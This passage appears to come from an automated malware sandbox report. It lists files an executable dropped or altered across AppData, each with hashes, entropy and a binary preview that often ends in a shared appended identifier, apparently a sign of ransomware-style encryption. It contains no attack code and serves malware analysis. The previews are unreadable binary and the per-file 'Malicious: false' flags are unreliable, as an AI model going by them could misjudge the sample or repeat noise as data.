SHA-512:	D2EDDFB585880538036E3D8B1E24A9A9F47DA2361ED0C43ED13D5E5EFC2C1752A9A37172FDC977D3E5E7829B8D6D2526267CC75C115F6FC408A7BFA350355FCD
Malicious:	false
Preview:	.To...&.M...v.8.20.T..E.U.U..~..d.X,.<......{....^.......w...B..I=]...y.."..n.Z..R.J...>I$.;e3........1.h.].~a.J.v_.......e.M.BU...-...)..Lo8..<)8..}..o2...d#.tw>2.n.......:d..j......#a...Z...@(;X.S.2.q0.."...O+..-..$.....A\|......5..>.j....c.Dk\....ZY..&._<.:...~..u.>.p&]^..bV.5..l.F....0?.3.&w+..TM=uu.Y....r..5.H...K........S...<...)..+u...q.'.....}...n......J.....[...:..t.<1p.+Q..Q.1~.......X....y.P....M.....-E..*C.......]......c......q$....e...I/......}..{R.m.....m.s..7.5`[....FX<.k...".U...2p..1L..%rC.F...b.)...b?.wY...j..D..+..Q...s.t..i.cPg.R...&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.758452953909629
Encrypted:	false
SSDEEP:	24:Jf/xJOAIrD7Z7oMcdcyOg8KYt8MnRlw+erACq3zbD:JXvmtoMcdMgxy8MnRfT3nD
MD5:	D6523CF48FE36AF2AFF6EDCCA2CCEEF8
SHA1:	ECE7D38ED58214264FE474459A9DDE39B2BD76D2
SHA-256:	5574A3AD30F90A2892B0ABF96F7F7C9B8F19A814E307F2638C445732F1EECE89
SHA-512:	B8F66671D625E537209DD1891B45829EB2F9EBEDF154F3CC0054D319898FA667FE3E4AA64FBEEBB157078112B80A800BD4AF343952D8E35D5BBBE0A6D6321921
Malicious:	false
Preview:	1,"fu..1.....k..e....:...:r..O..F..x1.@k{..AN.....F.~..r...&.k.z.....N....am@...u.`[fBm...$........;.a..e..J.c.)$k}..0..B.6.U9..Gu.l.4.w.....m..r..f.[2..].>...r.U#..W03.O~..]x.F....Ac{f$:..u.k.6&..Y.^........TZ.i\|....H......<.Y.N1...J.I.pnb=E......6....l...,.....Y.X.F..KU...N.C..k.t.....uO..~.&C...n....$.Xh..iO..u.B.....2u,.Lpe!.@.nm..}.BU.<5`^.Ba...0\|.]/!.[.V.X..F..=.{.....1..#c.o.g.....JOl=.......4.tQ....U.=......0Az.w.{&{....B.=}!.{.C......~.F.........,.:j..`.a.....J..?...P.....<..K.j...0T.0..U.U.aE..... ..f...Tr.vKr2.N..;.f.1..1.G......WN.X..,......yOn....f....:'q3o.C.pM..v......:.6.a..~..../[..A....7w..x'...kVpJY5q%_.....r..3E... ... Wc8W.......0.t....F...L.k..D.3x..D.rkJ".....O.r..-..W).:u...t......:..5.[..#.}.\...`3...p..R....)(..Hp...lSpB......K6.Py..H...Q.....-t..`...4Z[ V..-..?.(...`E\|AU._I....W.X.o......._.j(Fm.~...9.~..R.Y.%.....ti0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	667
Entropy (8bit):	7.6136381664138355
Encrypted:	false
SSDEEP:	12:OLhH1Ur4lWgOMB4iJy63sEay8uYD86udOsKdT6zDXyntJrbB36Wcii9a:BxgO7UZ4EdVKduzjmLXB3zbD
MD5:	7D931A204A2F6D80F427D4DC5C5AEECF
SHA1:	425ADE40B42CE294B07349B5D9192FFAD74FA25C
SHA-256:	92C1D85F1D22D74D8FD4DF653564C32BCB0B8A8D7393B94BBA13A5BB0FBBE510
SHA-512:	CFF52DBC3EB50DD66D6DD50137823DB48992C3C38C7E51BDD137051EEDB6EA218F9267A0EFC987CCE293212E3FFBB98E1D2FED9A3F4A2374BB928079558FCAA6
Malicious:	false
Preview:	.To.o0$..&....]..]..U1......Oq....u\|....B..wM0....3..(..oi.....<.........w........-....f....L..yZ.J?T..[(..R.R&`..r....0.w.;...y.J..du0..-i...o.....8..8..].l.Q`.....xY.Q..=.N./.e.}R H..=...1.+.&U...5...;..".b..G.&."...q.h..x.Q.Kd-..\.Y..{..C;../.op....;.....:.9.Rox.Ja~."f L\|.M.M....."-.+4.\(.v.$..98.....No.x....(..,.=...>~.O~.....,..F.i.bf..\.....@...`O.mm.6.k..s..[.d...7r....&=.-..o.....Y9.x6g....I....a....l.&.A.VX8=b..69,[.(~..m.Z.Fv..;..7.....H.g....Y..l.B~,...Z.M..?.(..g.eVC.59.".BC..O^.J....A+..a....X.......R.xj&.>c(.UDc.....yB.Fi...js.+Z..x.I.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184846954668196
Encrypted:	false
SSDEEP:	3072:Ik1SYLZ3wpRf+Q8xR6Hw6+GNu/TcP4kVxMeI/EZS9OFsuSM:1PNgpx+Q8iH9UrcAYS0z
MD5:	EB76666CC894C7A0BB99BFEA0DC150E0
SHA1:	7FECC554031456CFE7392666C50B50F493F5767F
SHA-256:	4036A81966AA38A761ECBBF2DB0D1A5C96F92807C181ABEE0C82BFDAD0070E3F
SHA-512:	E0E0F801F3178FCCC66A3041998DDC2B2E1386B2C931FD45E092370A85858659EF0D62CB8B42CB8AF6CCF6A9E9C2653A69C8B497975188CF11482FFF1FA650AE
Malicious:	false
Preview:	.....t.08..bscP?.G;.X.\m.&w...I...e.b._..]]9c\|...C3C..(....u..".\.55..!......Bc.P....,!.d.3:p,.y.....%u.....u.~..eLm..(.<....w....4.v..u.7~?.n..a.A.......$......X3..G...5q.jt`."F...t.x..]9B.~Y..Mm.cy.tV.sp......4N..a6...2..&.....8_..;..W....D.....D.0....O.3l.'..,...B..R.....b0ZU....g..7...b...&{...n.d......M....r..fJ&!..Y)..\|.[.v.'!%..>/...b8h..@..EF..Y}..E..O.;.i..P&D@.Vhx.c.7....U......>..e,"^j0..+F.....Q.......F.wi.c:.D..J.i\|..}1.....B.6...z......p.H.+.....&.q..Oo..mg.U.6`L.).VSKI..45.l.....s,v.z.e..Vx.n.?q?PZ..[....3...._..../s.....P.e..uD.o............H.,..x..6.a.}..n..k.U...l.8X.U..E......7I..A.F..j.[.Q.jN/.S. 4Z.$,eg....L.....5.ic]..S.*H\..._J...j2...N$.RKC!{w....w_O.I..m..jb0.8..ez.......sX......@.........X.7.w}...rSW....cJ..\..=;...8.9......B.%P.nx....?....h.<l.@%..~....0X..[F...i...vO......D...dFP.pNK."..p'.,...o.P}.Vn.B~..... ...Wb.x.s3...f....Z}.v..U...F.\|0S..\|G=KuB&.Q=.....q...V.....<\...'.I.....u]..:9.\|u.,V.t..L&......G....T..uv9.h=

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.909009786365242
Encrypted:	false
SSDEEP:	48:LLIvMLV+rbEQxycimIUzw232ZZsmfkEoZsEB/FjBh6W3nD:/IELiIQDGZSFZsExxB/
MD5:	7BB5154269689190B812D91C8FEAC10C
SHA1:	E20ACBBBE7616F1D6EFF7CC1C07758D53C7EE300
SHA-256:	99A2E4267E35B52D834587793855C6E9E4129FF584E04D214EF1FD7ABDDA3DCE
SHA-512:	8B61C5C25220A46AD324F3F805ABCAB7D12937E07D517770DE23169FD3FE290F0FC9EA0CE3A8CE0E8AE65F462FED198D554190277D66F92EBDA29A4D516239A5
Malicious:	false
Preview:	<?xmlt..T..Uy.TW0l....#\|..@.F.Y....h.M.d}.....'..\|....=4..z`...E.2..$.8.gt.B.TS.....=f.[B..d.J.m....1.A..T...s>...m..D+.J..eb....G.,..h\|....t.........4......u....t..`../..}.a?..36UK..1.}G+..#..Mc._.P........@UM.....3...7.m.Gu....Q^n~30).r.Y.qp..&`I.I.9x..KU.....,.S.3..=.v....a.< .....c.c..pF@...5..p...E..!..5S><E#..(...h{S....#.b.p.H.x_.....u..S..J0..j.3k.T..j....o....[....0...v.j..y ,......v.n.. ....T.w...w..Xak..w1I..N....6...l.T.3.f?.fo..P.9.....=n..."S...u......p.F.....$....$....$.ZJ...rC'.G.s.{).<.).f8.i>...E..8..U.3Z...f......9.p.....)..\..}..`...5.4U. ;O>..u....6?.......C.4.....c.G..'VIJ.y..L0@.d.AT.V~..a..V_..x.)n9.<.....^..X'.....#j..G&...)........g......a@F.....x..JcM...p...Zo.h^o......)i.Z....)...E.B?(0$........{.S..)../..H...q.%.:h.......7..F.$%h!..+....tx<v\|.......P..0OK...XI.O.y..G2........-_.......Xnh...-.0.........F.,.^&...Nm.6.l&P.w.H....id..5.i..<.....w...+,C..".h.......UM..;.`E......+=0x.S.]W..A.-..W...cf.%..T:...]....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9791937267733966
Encrypted:	false
SSDEEP:	192:KgwpVVaZ0nLrkR5paKwrIu+hTCf37br+Do0uisp:KdHVaWLoHmr/LuoGsp
MD5:	15F70EA00A453A4DBBF50A5816A9F182
SHA1:	E72CBA17774AC74F272503F408C8A2AA2857DD3B
SHA-256:	FCC05BB7D10F6549EBC94117F266ED7E6AE74F06392A54F88E69CB8737939929
SHA-512:	223B9A9B982C000435EF73345738ABAE148954422C3E7201B4BAB922E0BA9E15E0224E0497741A7E7FEBBF7D5002F88EF43D6B92CF7496A7F4593D8051233FBE
Malicious:	false
Preview:	..E...0.@......q.`.M..E.....,1..z.q.....s.kwG.?....ZR...I...S.[.@W2A....1...Dv.A..........b... ..A.........U.v.....`.."A&......Wm6...\|.H.,E....}..-...3.lHO....o......f....?.P....Y...o&.E.+o$..t...J.G..^.-..I.. A._#.]F..8_."..?.....z..B.....V..z...P...d./.....o.p~XG.K).>bc.'!.3UPx.q.Z......B...AT.k...F.Z...y..Nl....5F!....9.#.3..}.H.....^.>4._...#..5....l..S......dJ.2+...t.......7..#[.&.._$..A..8n....h..)m......(.!_.....G..._..._....U.."...>z.w;.....Ou...7.._.e.z...^....!..TR.9.....=)...t..HN..U..=..3+.m..M}0.&......Z.f.......UM...D7.6..u.../.7^.k.\|.I./.......TYzGe...p.`K:[....F.VR_.U....[...~....C..{..>...5"..>d..G#....Mi.8...2.._.h"h.g..vc5..Z..qt.<g..>..\..L!@q...w....c.........u.....Vi..-..XH....O@......S..,.Lq.%.y'..i..?..a...S...)yA...D...?*-..I..U.Bn.lRG../".B-5..?.w......rbh...:....nm..../.Oy."....&...WKv...>Z[h...iK.^.....@1.p...n..H.v..I?.=)/....\D(7..7i<{.\h.6.1\D..97.p......u..[.`...7.L.tU.......\..V\|.....r..,,\.x+......u.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.960176194171717
Encrypted:	false
SSDEEP:	6144:A+OpNDS+zDqSgQf0wqAXkFgIZ/sSdufhm:AVHDSsDrLcRCXE5
MD5:	783D850F3904B9A82B3D6878CA0B2139
SHA1:	FE257E09484987344FFCF9B2F55BFA5B6E5E8AB7
SHA-256:	870943F26B9399979A09319F871DD8781F4130780C143BE0ED28E72F9CD5CC88
SHA-512:	954590920DA5A8525E3F8E382EEC486532355DC4D2FEF0F896D0A50977C22CB57AACBF38D00362FC2BAEB95233FC15EC7E5EA433C0DE72D817AA8680164806B4
Malicious:	false
Preview:	?.8T.I+..O....7C..(`...o;.$.{-?o.k..:>.4....C..x..v-.K.Z.X..P.....3F.WL4..:.....'d..S.R.w..w.T....t.9.F.J.......w. ..CYK5&.8.f.A.6...\|'.U4G...(V-...........@.......57...` o.......l..............A.'...A.nj^&Q...y.f..4lr....i....r..&L.Lt..{p.w..,}Y..9-.....\@o......t.._4Q..WEY8bC..gVG..."{.Sh.b@..L+.>..HV.....\|.?S[......cS.O....M@l...0."cI..w .,.........Q[1D..._.).<.......I.....$.c.f..(dj....[/?s..XI...?....N.T....I.Y5.8dz1=..Ai..u.V.NfQ.BRs.y).D..#Qg....}m[9....7..N.W)G...x..V..B2.Z./._..~..^.s.`.....T.....4..YA`.$..g... .2.i.F4.n..&k....R>..T.~.;......1..A:FiE...3..........&4...c~....D$..Y.?m..%...B1 .CS...x.rn..d'..!w..aFl.[....Sm.B.2...\B.=.....k...(...5..\.Z.<x%dOCR....@..:.2..?....g\1.....9..g...au.ne......1.w.D.oWs..F.\.Y........c..n..-..W...!f..1...'p.p2..N.{....HB...=.%..Rg.>./......B}../I.AvDD..]......<%.Q.....S..P..{`..@.6Ay%.e$WB.....Z...K.=.....'.k.*.!..IU.V...#\|j..}J..D.J......f..8D.3L.!.Zd8.....]..o.......s

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077421925751524
Encrypted:	false
SSDEEP:	3072:9GLH+cMVe4i/PfOMtTsKSrY6CAu/MQkiHHafXJT45p9kqPHtVFFc7ZxJ4c:QSeRfOMtXa1Cx/XnavJYB/5m9xJx
MD5:	FD790EA1870C901174B4146340958302
SHA1:	7F49E3CD9A46AAE4ED6FF1753883290056B08BC5
SHA-256:	F172F9001EB8FB76F7A1F00608D31C0F999DA0A50680766A90C0CED6BA120E66
SHA-512:	F908BAF0EB6D766C1647F6B4BAECA9538D0C106FDAECE64E6031A2E5FC9EB1B9E04921C95C200A65D57FAA83C3FE5855AE337DEC727B95FC6FCC77FA977653C2
Malicious:	false
Preview:	......t.].......b.1.$<i......Ds...g!F.^.ZW.d..s.f......1`...A...........4~.....i.dm>....VO..Y.OA..E."...L!cY.ak.=....;....%....\|.&W.)%C ..w5h....1.......!.@.._8YwpX&..x.$>o..`.....A..ds.-...9....l.C.5fr......>...cmT.D..$.._..".u.0Kv...3`...Q8..6 .V2R.... 7o.o.{]..E.,....h.]l..`...pfV#5...m{.q..w.i@.]..L%...pB......?.4....P.'N.q.c..X..f~....{@...z.o..J)..k.%.....;;?.OL...!RG..^".>(n.u..r&qE.k]."..v.\]..k.._I.3..-..X.......y.R..,........_Wp......l..f ._.Nx..E.K..+U7..a..r#.L....6.8y....#]..c6.c/.n..*b.....v....2{.g.... (....h....IQ.4.p!.t..5..7$..:.b.{."OU.-...H!!r$ l..-..1E..Z.A.......ORG...1.....{K.(.....!O$%.7>...w<`.....cb.d.])..f?y..'3XT.....Mt..3...p.nx..]i4..2...A._u%.#A..c..l...I.N..dW.<....C.....C........?#j.5... UjkL...{.....tU....[.zD...iZL....o.B.....4.<]..z...U&5...e..}.....'[....U.......1~....H..8H.j!.&.A.s..[..Jr.d7.h....4.5.%ZB'BV..L..{.}.....\.^../.&?Q....<...L.`...fn.!.,.......5.m.%..d..H....6\|E..[B(\|3.O..].Vo

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076377731644414
Encrypted:	false
SSDEEP:	3072:5NJhXsWtLdao/qfxEqhzMDfQ0MC93EJ673aQ7JPzMknW5w:D/X3pdaH2Q0d9UY7xNPz3
MD5:	DF551D3E248875020D28B3C3256092B0
SHA1:	8D2DBA8199059658D5A9BD59C80B1F0A2A9F4E2F
SHA-256:	0381CD520DFE607C3D4627C112B026C58142E3CB4FA2090203AB6666B39178FA
SHA-512:	B36A737C793089E1DB06D69D28ADC21EBEDB5779EE62F80ECE38C48B7D3A921EA931CEE985E95E64A4A8E9DD567CF1EF01A05F3C148FA970A9B8F7C2D1994B6B
Malicious:	false
Preview:	......v..y>?C..S.1.V.....D.........]xK...u...O..R...%..Y..{1....n>..Y.u...hOYy.......7.......I...6k#..6...q.\|..kI.`%W.....R..L.W..j.n....y......@Z.e.....B.X&.!.S..7.y...-...\.$a.;..d?..u../..E`...{...\|i.UX.KQ.E...6......fx<n..Wg.HY.4.i...$F.k.5S.>3.I..P....{..}.z...-...}l..s.FX(k........Q{.1...u.\|hO8..B.}"..../...{.{....z.../.b.>...>,(.....[.c.W.6..s..f.....}1,........n.\_..}S<...\|.J[U_.GV....N.])..a.Ah.......8?%....X..(.c..FD.e..h...[.m2...o. ".r..O.......A.]....4........Ui.F.g.\|9k9.s......SS....!-Y.f..`....~SL...O[.......o.;}T.sD..7{.p....u..3 ..S.Z.....J....m...&..\.r./)i&`....}.M......B...:-....8.......s1.gdz.cLc.w}..6.0.2b..8~...B.z..i...?4.....o..4.<..d.......+O.........Gl2.N>..:.]Q.......I.. ....?..zTO{7.*TN..o.t.(bi(...m.D.=.J...x..- ?G.Mp..:.S.O...v..j.D3.;{.".....1.d..c.t.......)K...,...<.$6.4g..s......T.._./..E...Us..j.,1.X............2..D.....T...<+..:'2..6/B.:......%......ry.0n..hH.......J@.Z.=4Zc...5..\|.............)

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208420359171054
Encrypted:	false
SSDEEP:	3072:wIv+ko949cy0SRCNx9TlwYyjiqiuProEZb7drniaigOo0ctPOcjj9f:wMI2WyMfTwHjiqHf5M3g3p
MD5:	B88AE851F556E6219DAB30CE108A84B3
SHA1:	4F042F840BB5E3878B8B0F26916E9A7A5B723BC2
SHA-256:	F7FEFDE4D13B3A33FA4B280A98A137D15CB54AE7BB1A6061643E8651434431B3
SHA-512:	F504473015D56B6E08BA3BF9837536F85C7C6CF3EC85AE89EF9D522D4C6F8129C98C37E82CB757EC7EECA909CE895B61A70F4C1440F29DFEC746AEF5DB94ED6B
Malicious:	false
Preview:	..........&.L..G........._.z...e[.i.].....9.G...........{.......Y5..0.;.i......d..K..".-.)2].l.6.1m:.&....p.......}n.. ...c......2'c.oK./m.=.AA...Y.....V...I.8....x#r\~.C".....Nf.lx...U...gU6.O.....sI.1u.I=......:.$...(.._..#...'N..9y.....8(.5..j'....1A...s.t..`.c)/;..u.\.')....t..#.<v........o.K(.a........]....Qn...#../.l.........T.2..}.k..!.G..`....G.1.tlo[a...K2\.6....x .!.."../.R.......^........B=...\...Q2.Y....p...r.A.+.#.......)..j.9.#..f^2>....%..W@..F.Q....`+..s....3....\r.a="..8.g.?!...$.T(...I..4...)..$7.o...6.....xH....-CoM....\|.=...Qe.1.E...3s..U..S......F.....,.X...$.S.U3....<~yf}.H.....+.....f'.P.r-.."..&...Q..T..#.Z4\|}...BPW...-...-...N=..-FuILv-.....j...;.#..Iz},.)wdO.N..m.h...-7..F.}.4..@..k!....$..[].v..Q?...t.Q.lfw;&.5..r.....E.G....U.".:J<.e\.E.e.}...IW.,..G...#.B?Q...j.......S...,..\|\.7M`..$..........,..%....b.1y.....J.d..Q_......i..D..........y.....6...%...<.... ]..)N.fP.......L?.-.?.J.........<-.7.]@Olg...st.e`.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.952162565339387
Encrypted:	false
SSDEEP:	96:84pVJy/n7csrOh6TKQZ6uIzmO+NF36kOWXNknpBAjk/Snsg:8qVJSy6TKOWzmO+736kOCYpB98
MD5:	DA84284F775EEBF96216C65DA9B222F6
SHA1:	6A5819C662D9E8F8C924C8865194C8534F0BAF8B
SHA-256:	CC43872CAC418343562701182A5E8DFF1332CF56CBA47F1F10A75C556E52E13B
SHA-512:	9C86315907A45212034FB4C52ACBC64857168C306FEAA7A2E6F4FDB1BF8F0C08E56A432B3F0E03561EA34DF71B160C8F5B5EF004D7CF64786E5CA46404A271E8
Malicious:	false
Preview:	<?xml...._.Q..k..f.#_.D...".:e.......".-.'.9.Q.Rw..N.!2K..!...Fe.....7 k.#:..\..r....$jG@.m.....D.....cA~{<.....s.B.9...U.`.\|.z8..".....O/-..FRAX.S.S...<.....(..=.N;...J....>...WP.@..h.....p...6}mjk59_>..-..?....H .u......MP.UY..;.;.vr.3"ncCK...W.....]&...\;....s(R.c.;.{.&...>._.8.ad..(.c..a)..UOeg.....~.pKA..ge..t...u.+}.Kr.Xv.......T7.i.i..9..Xu..uO.#.0..@t.I...P.8<....ecux....{..f..g]P.Y.r?3.......'`~.O.Bae{C......'.6..m...K...k.C...Y...6c/_:%]N...5...k.. c<].U:..Y.(...,.NSY....R/........\|.(j..WI.r.h....o2<+O..~..!GV.W..T...uu...WE.?..U......q.%..<140.....\|....{7......s..e.1.j...%..-..v^.q2.&0W.f..i..xG..a.U(u m.+.\|A.)x.......v. ... U..y....i....M,...7.M.4..}.._..}.lpR.+...WW.)j.f.M.ug..R...n.S...7.............T..p...3=U.+..o...+..@.v..2........p........Hk...Q..gZ.@:.?...D...,.....;.-.........&.X}=....j.1..r.....1..p..E...k)...:.s..7.8Zt.G..'...rQ..y..h#..m......:O..\|.." X.m..X:.I.DX.....e^;.O ....*.V....w..p..m..'......KM.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	6907
Entropy (8bit):	7.971866986742725
Encrypted:	false
SSDEEP:	96:lLIYlqK0ojxJOHHkJqSmgScbc/+hJdbBxdf6EoVyOXP0YKNbieYvxHAwp1xiO:peK0ojDOnknScbJHgEoMoGNBUPTsO
MD5:	84A3EDF56A46DA63E1D249AD51BC2D95
SHA1:	0EC0DFA3759153B85F1D5D74CC46FFA4BACA9C67
SHA-256:	91882DF06DC3EB78A82A39ED157DA6B41E601691943FCECC5F69CA11F72697CA
SHA-512:	CDE9AE27BD738AFE32E68658D1E432A5C1B9B949B57DDDDD1CD83AF11D8EF454F8ADDC9F6D10190CD28F2B903BC102E0465AE472C3B4145D4EEA9A321E446BBC
Malicious:	false
Preview:	10/04O.Y.Mt..^uU..y.>.62...p'p.4Ub.%Dpa.A........?..?..l.m7.K.....F`...k....g....-..-..C.G.........?.4.$...R..Z..z.C..L.......R.I....... 2....BY...............88.....J..........n<3....).O.7..!t.?c}..W.Uo......x)3.O....m..R.....}.#.+._@.\....!..A..#.".C2X4........Y...lW.(.Tud..i.".\.{..gi..N..U....pe.H..._...:......~ZGq....n.-:..."s.F.u.....ttP...m..Wn.......zXDv#...M.9...[.M..L..9?..../........)T@......_..T.]6.T...M.7.w...N..PH..8...-h...v..$V.:`K..c.9'..~.N..>.<G...:..S..4.y;..5.8...Y.Q.....B!.......D^..Y...E.o.`W........m.30.K...5.o...%E..o.....>_.+.@...q.....5>X.A...C.M...9C...[\..<~...P..g.. .....5+.t..K....j....S...]...{...?..A.>:d.#..$.. .M.\m.+.WlI.@.R.o#4.#:..8X.'..[.b.Q.A..>.N]Y8#Jy....{.9...../...b.qv......A.....y..T.P.s:.......I.r.HgY.]....]....5p_s*..........b..W...N.W....x..J6IS........L.....M..E..z.....Vu...Y.e.>x.../....JQ.../X#...D..q............S.!...Ki...>. .s.RN.....'.....P...+{..k....=....S..p...p.z.!.N.3 .xeW

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.739263766147117
Encrypted:	false
SSDEEP:	24:Q3B7JScOukg3y4sRBJguL58uK8a28RwAIh3zbD:KhkI0Jh58QaAAIh3nD
MD5:	1FF8FF528B031A240C139FDD1103B2C0
SHA1:	C61F6F5CC29B573E2523DB53FB7C3199143859BD
SHA-256:	946F24D1C1B09D66AE6D3D678D119E9E15A3C7F444016699EC2CCCC7E6002ECC
SHA-512:	8A6E5DA6EF1A54F79A2B691B07E6DF542EB55A2699BC3AB7DD15EACD36EDBA8338C3562EFFD5D0FC79E574794D437AE9179C6CF40FAABF6A69F912E7B2A62679
Malicious:	false
Preview:	..1.0p:k(.......\O..7..%.../......,..X.T..........t/..H.G!<.....N...i....k`y+~..R@.b...w.I.}?.=..Y#!.....2.$c.!...h....43:I`__s.U$.2.3..'.'_J.....!f...H..<QgE.C.;V.gg.:z..EZ.`..?.....G.:.M....B..#.j\.,.e{../..@QV.....R...4Nz5...'.t.3.]..>.M......!.O.r.8.$..3..:...V..p...fk....H}+......... .+..D.E%.qen.'m.g..O.r.(...:.....m...E .V..T.&...Fe/.........uJ.N.....w.r.,X./p....y..W..=..m.9..(v\|#.f..6.Wah.....A..!..i....6.\|L....N6..ULn.w..j...(c....6.9..4.m..q....8......5K.0...W..w....o9R<.(...g.a....b.\.(.!J.[O.)..........-.Ts.]<[.X..+..n. ..~..<.+P..........$P.<T\...2!/i<n..LbCv}...[>........-.!aU+\| Y....D.'.{....{.L......,.v.PT.......Z..N..(.l'B.@u+.......\|.#...AAQ...f.*w+....{l.4.. .yh.E..62..?p....!.<..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (870), with no line terminators
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.875839840610083
Encrypted:	false
SSDEEP:	24:Qit/AVQ7iAcQG/9Lv69fnQ4oUBB37+2kajeUHQgj4BQ/pxZtFnWizKkILPJei1bU:1aocDe9oWBL+23BB5FDzKku08G3nD
MD5:	25B6EB906DC8E4D6FECAC54F961691ED
SHA1:	4E29A73896344CDEB6161527329CBFDE105EFC49
SHA-256:	187D43D15A032D380D039FCCC8418FD78528C85F984E1BC2E61A950697034AC9
SHA-512:	11D90B26B969EAE4B2F7656B3FF1D58F91158930B510D19882A383B16FF7A27C6E3B39C8476E928644AF9B70AE566DA39252A6A64FB51D69E60AF85F61678B87
Malicious:	false
Preview:	..1.0Mz-...pT.pc...C&.P.;.h...>.-...0.....s........\|..G~..q].0.W..[...J.t..u........ps.a.#...d.. _}..W...%..,k..x............j.ABX.....$n..Wz.l.....6....~K\..O...6..D..+...9...5q+...+.).f6S.\|Z.q<#-1....j.%g.I...Q6.c..h..k&.1Q.;..xB.V.<.......c.fN..?g..,.7L.Z@~...HB../.^....`.X.0..9....=.....E..H...r.j. M?.h.....l9u.I.....W.].....Lax...\y..e.P..;.s.2..1i...K.....pX6..w..B.r. (#-O..uow.h.92i.l.....U...s2f.......K...lX[+._...!..#w.L[^.F.i.f..i>.....z$.9..yo..b..O\|G.....X'.C.....3...V..K.)%.t....vb.........Y.km.6`..)4...G...\.A.....Au.5.Js........0O&....\$...\|...9..=.,&.``..j...L.e,...Q/.r.~....F...e..A..,.....fwUE.K..).+.a..qF`.#.-By...$.ZNH...........w...b..1+sc._J.T...U.sO.....o...h.z+)....g.,J.My...k.].%.......g..r..}/LQ.\|..#x......i.;?....T.KVD>m.y....P.Y.a/..<..a~...'@K.p.H.k......j$JA...w#K.\.Rp.D..`..kE=...4...O.PH.+\|...f........Ig..v..W6.C.V.......c..5.C....P..7.".@xQ.....?(2..0sC..c%....8...'.*+......@.3_.......#.w.\......&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530708790922443
Encrypted:	false
SSDEEP:	12288:CQ145T1O4RsXSZlV0N8x5thr291gess3TylunXK:/wO4Rl
